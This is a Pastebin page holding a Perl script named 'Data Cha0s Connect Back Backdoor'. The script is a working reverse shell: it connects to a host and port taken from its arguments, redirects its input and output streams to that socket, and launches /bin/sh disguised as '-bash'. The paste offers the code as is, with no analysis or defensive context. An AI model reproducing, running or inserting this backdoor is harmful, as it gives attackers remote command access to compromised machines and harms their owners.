Advertisement
parkdream1

backconnect3.pl

Feb 29th, 2012
502
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.96 KB | None | 0 0
  1. #!/usr/bin/perl
  2.  
  3.       use Socket;
  4.  
  5.       print "Data Cha0s Connect Back Backdoor\n\n";
  6.  
  7.       if (!$ARGV[0]) {
  8.  
  9.         printf "Usage: $0 [Host] <Port>\n";
  10.  
  11.         exit(1);
  12.  
  13.       }
  14.  
  15.       print "[*] Dumping Arguments\n";
  16.  
  17.       $host = $ARGV[0];
  18.  
  19.       $port = 80;
  20.  
  21.       if ($ARGV[1]) {
  22.  
  23.         $port = $ARGV[1];
  24.  
  25.       }
  26.  
  27.       print "[*] Connecting...\n";
  28.  
  29.       $proto = getprotobyname('tcp') || die("Unknown Protocol\n");
  30.  
  31.       socket(SERVER, PF_INET, SOCK_STREAM, $proto) || die ("Socket Error\n");
  32.  
  33.       my $target = inet_aton($host);
  34.  
  35.       if (!connect(SERVER, pack "SnA4x8", 2, $port, $target)) {
  36.  
  37.         die("Unable to Connect\n");
  38.  
  39.       }
  40.  
  41.       print "[*] Spawning Shell\n";
  42.  
  43.       if (!fork( )) {
  44.  
  45.         open(STDIN,">&SERVER");
  46.  
  47.         open(STDOUT,">&SERVER");
  48.  
  49.         open(STDERR,">&SERVER");
  50.  
  51.         exec {'/bin/sh'} '-bash' . "\0" x 4;
  52.  
  53.         exit(0);
  54.  
  55.       }
  56.  
  57.       print "[*] Datached\n\n";
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement